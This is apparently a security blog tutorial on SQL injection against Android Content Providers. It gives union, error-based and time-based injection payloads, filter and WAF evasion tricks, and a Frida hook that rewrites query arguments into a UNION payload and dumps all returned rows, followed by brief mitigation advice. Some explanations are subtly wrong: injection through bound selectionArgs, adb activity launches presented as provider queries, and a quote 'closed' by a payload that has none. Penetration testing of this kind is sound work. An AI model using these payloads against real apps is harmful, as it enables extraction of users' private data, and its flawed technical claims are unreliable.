Android App Penetration Testing & Frida Hooks

Advanced Content Provider SQL Injection: Bypassing Filters and WAFs in Android Apps

Google AdSense Native Placement - Horizontal Top-Post banner

Introduction: The Content Provider Attack Surface

Android Content Providers are crucial components designed for managing and sharing structured data between applications. While they offer a standardized interface for data access, their implementation often involves direct interaction with underlying databases, typically SQLite. This direct interaction, if not handled with care, can lead to severe SQL injection vulnerabilities. Unlike traditional web applications, Android Content Provider SQL injection (SQLi) targets local databases or backend services accessed via the device, posing a unique threat in the mobile security landscape. Attackers can leverage these vulnerabilities to bypass application-level filters, extract sensitive data, or even manipulate the application’s behavior. This article delves into advanced techniques for exploiting Content Provider SQLi, including methods to bypass common filters and Web Application Firewalls (WAFs) in Android environments, along with dynamic analysis using Frida.

Understanding Content Provider SQL Injection

A Content Provider exposes a uniform resource identifier (URI) and methods like query(), insert(), update(), and delete(). The query() method is a prime target for SQLi, as it often accepts user-controlled input for parameters like selection (WHERE clause) and selectionArgs. If these inputs are directly concatenated into a SQL query without proper sanitization or parameterization, an injection becomes possible.

Basic SQLi via Selection Arguments

Consider a vulnerable query() method implementation:

public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {    SQLiteDatabase db = mOpenHelper.getReadableDatabase();    // Potentially vulnerable: selectionArgs directly passed to rawQuery without proper checks    // Assuming 'selection' is something like 'column = ?'    return db.rawQuery("SELECT * FROM " + TABLE_NAME + " WHERE " + selection, selectionArgs);}

An attacker could inject malicious SQL into selectionArgs. For instance, if the app expects an ID, injecting '1' OR 1=1 -- into selectionArgs[0] might bypass authentication or return all records. If the selection clause is like username = ?, then passing admin' OR 1=1 -- would authenticate as ‘admin’.

To simulate this from an attacker’s app or ADB shell (assuming the vulnerable app allows external access to its Content Provider):

# Basic injection to bypass login or retrieve all records if the selection is 'user_id = ?'adb shell am start -n com.example.vulnerableapp/.MainActivity --ez 'sql_inject' true     --es 'query_uri' 'content://com.example.vulnerableapp.provider/users'     --es 'selection' 'username = ?'     --esa 'selection_args' "admin' OR 1=1 --"

Advanced Techniques: Bypassing Filters and WAFs

Modern Android apps or their underlying APIs often employ filters, input validation, or even backend WAFs to detect and block common SQLi patterns. Advanced attackers must find ways to evade these defenses.

Union-Based Attacks for Data Exfiltration

Union-based injections allow attackers to combine the results of two or more SELECT statements into a single result set. This is powerful for dumping database schema or sensitive data from other tables.

# Example: Dumping table names from sqlite_masteradb shell am start -n com.example.vulnerableapp/.MainActivity --ez 'sql_inject' true     --es 'query_uri' 'content://com.example.vulnerableapp.provider/items'     --es 'selection' 'id = ?'     --esa 'selection_args' "1 UNION SELECT type, name, tbl_name, rootpage, sql FROM sqlite_master WHERE type='table' --"

Here, the selectionArgs value 1 UNION SELECT type, name, tbl_name, rootpage, sql FROM sqlite_master WHERE type='table' -- is injected. It closes the initial quote, adds a UNION statement to query sqlite_master (SQLite’s metadata table), and then comments out the rest of the original query with --.

Error-Based Injection

Error-based injection forces the database to generate an error message containing valuable information, such as table names, column names, or even data. In SQLite, this often involves type conversion errors.

# Example: Triggering an error to reveal data from a table nameadb shell am start -n com.example.vulnerableapp/.MainActivity --ez 'sql_inject' true     --es 'query_uri' 'content://com.example.vulnerableapp.provider/data'     --es 'selection' 'id = ?'     --esa 'selection_args' "1 AND CAST((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1) AS INTEGER)"

If the first table name in sqlite_master cannot be cast to an integer, SQLite will throw an error, potentially leaking the table name in the error message, if it’s surfaced to the client.

Time-Based Blind Injection

When error messages are suppressed and results are not directly visible, time-based blind injection can be used. This technique relies on making the database perform a time-consuming operation based on a boolean condition. If the condition is true, the query takes longer; otherwise, it executes quickly.

# Example: Time-based injection to infer characters in table namesadb shell am start -n com.example.vulnerableapp/.MainActivity --ez 'sql_inject' true     --es 'query_uri' 'content://com.example.vulnerableapp.provider/settings'     --es 'selection' 'key = ?'     --esa 'selection_args' "user' AND 1=(SELECT CASE WHEN (SUBSTR((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1),1,1)='u') THEN (SELECT ABS(RANDOMBLOB(1000000000))) ELSE 1 END) --"

This query checks if the first character of the first table name is ‘u’. If true, RANDOMBLOB(1000000000) will generate a large random blob, causing a noticeable delay. Attackers can then iterate through characters and positions to extract data.

WAF and Filter Evasion Strategies

Bypassing WAFs and input filters requires creative obfuscation:

  • URL Encoding and Double Encoding: Malicious characters like ', =, -- can be URL-encoded (%27, %3D, %2D%2D) or double-encoded (%2527) to evade basic filters.
  • Inline Comments (/**/): Comments can break up keywords. E.g., SEL/**/ECT or UNI/**/ON.
  • Hexadecimal Encoding: Sometimes values can be represented in hex, like SELECT CHAR(0x61,0x64,0x6D,0x69,0x6E) for ‘admin’.
  • Alternative Syntax: Using alternative SQL syntax, operators, or functions that achieve the same result but might not be in a filter’s blacklist. E.g., || for concatenation instead of +.

Dynamic Analysis with Frida: Intercepting and Manipulating

Frida is an excellent toolkit for dynamic instrumentation. It can hook into an Android application’s runtime to observe and modify calls to Content Providers. This is invaluable for testing injection vectors, especially when dealing with client-side filters or complex invocation paths.

A Frida script can intercept calls to ContentResolver.query() and log the parameters, or even modify them on the fly to test different injection payloads.

// frida_content_provider_hook.jsJava.perform(function() {    console.log("[*] Hooking ContentResolver.query method...");    var ContentResolver = Java.use("android.content.ContentResolver");    ContentResolver.query.overload('android.net.Uri', '[Ljava.lang.String;', 'java.lang.String', '[Ljava.lang.String;', 'java.lang.String').implementation = function(uri, projection, selection, selectionArgs, sortOrder) {        console.log("---------------------------------------");        console.log("[+] ContentResolver.query called:");        console.log("    URI: " + uri);        console.log("    Projection: " + (projection ? projection.join(", ") : "null"));        console.log("    Selection: " + selection);        console.log("    Selection Args: " + (selectionArgs ? selectionArgs.join(" | ") : "null"));        console.log("    Sort Order: " + sortOrder);        // --- Injection point ---        // Example: Modify selectionArgs on the fly if the URI matches a target        if (selectionArgs != null && selectionArgs.length > 0 && uri.toString().includes("com.example.vulnerableapp.provider")) {            var originalArg = selectionArgs[0];            // Inject a UNION SELECT to reveal sqlite_master content            var modifiedArg = originalArg + " UNION SELECT type, name, tbl_name, rootpage, sql FROM sqlite_master WHERE type='table' --";             console.warn("    [!] Modifying selectionArgs from: '" + originalArg + "' to: '" + modifiedArg + "'");            selectionArgs[0] = modifiedArg; // Replace the original argument with the injected payload        }        // --- End Injection point ---        var result = this.query(uri, projection, selection, selectionArgs, sortOrder);        console.log("    [*] Query returned: " + (result ? result.getCount() + " rows" : "null"));        // Optionally, iterate through cursor to dump results        if (result != null) {            while (result.moveToNext()) {                var columnCount = result.getColumnCount();                var rowData = "";                for (var i = 0; i < columnCount; i++) {                    rowData += result.getColumnName(i) + ": " + result.getString(i) + " | ";                }                console.log("    [ROW]: " + rowData);            }            result.moveToFirst(); // Reset cursor position for original app logic        }        console.log("---------------------------------------");        return result;    };    console.log("[*] ContentResolver.query hook active.");});

To run this Frida script:

# Ensure Frida server is running on the devicefrida -U -f com.example.vulnerableapp -l frida_content_provider_hook.js --no-pause

This allows real-time manipulation and observation of Content Provider interactions, greatly aiding in discovering and exploiting SQLi vulnerabilities.

Mitigation and Prevention Strategies

Preventing Content Provider SQL injection is critical for Android app security:

  • Use Parameterized Queries: Always use parameterized queries or prepared statements (e.g., SQLiteDatabase.query() with separate selection and selectionArgs, or SQLiteStatement) instead of concatenating user input directly into SQL strings.
  • Validate Input Thoroughly: Implement strict input validation on all user-controlled data before it reaches the Content Provider. Use whitelisting for data types, lengths, and expected characters.
  • Secure Content Provider Export: Only export Content Providers (android:exported="true") when absolutely necessary. If exported, secure them with appropriate permissions (android:readPermission, android:writePermission).
  • Implement Least Privilege: Content Providers should only expose the data and functionality that is strictly required. Limit the database user’s privileges to only what’s needed for the Content Provider’s operations.
  • Content URI Matching: Use UriMatcher or ContentUris to strictly validate incoming URIs, preventing unexpected access patterns.

Conclusion

Content Provider SQL injection remains a significant threat in Android applications, often overlooked due to its unique attack surface. Understanding advanced techniques like union, error, and time-based injections, coupled with filter evasion strategies, empowers security researchers and penetration testers to uncover these critical vulnerabilities. Dynamic analysis tools like Frida are indispensable for real-time observation and manipulation of Content Provider interactions. By implementing robust preventative measures such as parameterized queries, stringent input validation, and proper access control, developers can significantly harden their Android applications against these sophisticated attacks.

Android Mobile Specs & Compare Directory

Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!

Compare Devices Specs →
Google AdSense Inline Placement - Content Footer banner